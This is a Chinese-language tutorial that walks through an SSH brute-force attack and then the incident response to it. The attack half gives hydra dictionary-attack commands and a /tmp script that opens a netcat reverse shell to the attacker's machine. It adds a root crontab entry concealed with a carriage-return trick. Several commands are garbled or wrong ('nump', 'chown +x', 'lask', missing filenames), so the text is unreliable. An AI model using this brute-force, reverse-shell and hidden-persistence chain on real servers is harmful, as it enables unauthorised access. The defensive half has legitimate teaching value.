SSH端口爆破及其应急响应方案

时间:2025-03-28 21:47:38

简介

Secure Shell (安全外壳协议,简称SSH) 是一种加密的网络传输协议;

用途:安全远程登录;

SSH客户端:可帮助我们在windows下去连接并操作linux服务器。常见的SSH客户端有putty、SSH Secure Shell、MobaXterm 、Xshell等;

常用端口:22

爆破攻击

(1)信息收集

使用nmap扫描目标主机的端口:

nump 192.168.11.11(目标主机端口号)

发现22号端口已开启,尝试爆破;

(2)爆破SSH

使用hydra进行爆破:

hydra  -L (用户名字典)   -P (密码字典)ssh://192.168.11.11(目标主机的地址)

在Kali的命令行中输入hydra -h即可查看hydra 的所有参数

参数名 参数含义
-l  指定破解的用户,对特定用户破解
-L 指定用户名字典
-p 小写,指定密码破解,少用,一般是采用密码字典
-P 大写,指定密码字典
-R 继续从上一次进度接着破解
-S 大写,采用SSL链接
-s 小写,可通过这个参数指定非默认端口
-e 可选选项,n:空密码试探,s:使用指定用户和密码试探
-t 同时运行的线程数,默认为16
-C 同时运行的线程数,默认为16
-M 指定目标列表文件一行一条
-o 指定结果输出文件
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-w 设置最大超时的时间,单位秒,默认是30s
-v / -V 显示详细过程
server 目标ip
service 指定服务名,支持的服务和协议

(3)SSH登录

ssh 用户名@目标主机地址 

(4)尝试创建隐藏计划任务

进入  /tmp 目录创建 文件

cd /tmp
vim 
#!/bin/bash
nc 攻击机地址 7777 -e bin/bash

给文件赋予可执行的权限

chown +x 

查看文件的权限

ls -l 

创建计划任务文件create_task.sh

vim create_task.sh
(crontab -l;printf "* * * * * /tmp/;\rno crontw-wab for 'whoami'%100c\n")|crontab -

给create_tash.sh文件赋予可执行的权限

chown +x create_tash.sh

 (5)尝试nc连接目标主机的shell

nc -lvp 7777

3.应急响应

(1)事件排查

a、查看网络连接情况

netstat -antpl

 b、查看守护进程

查看进程树

pstree -p

查看异常进程的具体情况

systemctl status 193250(异常进程)

c、查看计划任务

普通查看命令

crontab -l

 查看隐藏命令

cat -A /var/spool/cron/crontabs/root

d、找到文件

查看计划任务创建时间

ls -l /tmp/

查看计划任务具体内容

cat /tmp/

(2)溯源分析

a、查看计划任务创建时间和其创建权限

ls -l /tmp/

b、查看登录日志

lask -f /var/log/wtmp //登陆成功
lask -f /var/log/btmp //登录失败

根据登录失败的日志异常,得出已被爆破的结论

c、总结

爆破时间、爆破用户、攻击者ip、攻击方式

(3)事件处置

a、删除计划任务、结束异常进程

删除计划任务

crontab -r -u root

 查看计划任务是否删除成功

cat -A /var/spool/cron/crontabs/root

 结束恶意进程

kill 193250

b、删除恶意文件

rm 
rm create_task.sh

c、修改密码、关闭root用户远程连接的权限

修改密码

passwd root

关闭root用户远程连接的权限,修改PermitRootLogin为no,增强权限控制

vim /etc/ssh/sshd_config

d、修改ssh默认端口,将22端口修改成其他端口,并将#删掉/取消注释

vim /etc/ssh/sshd_config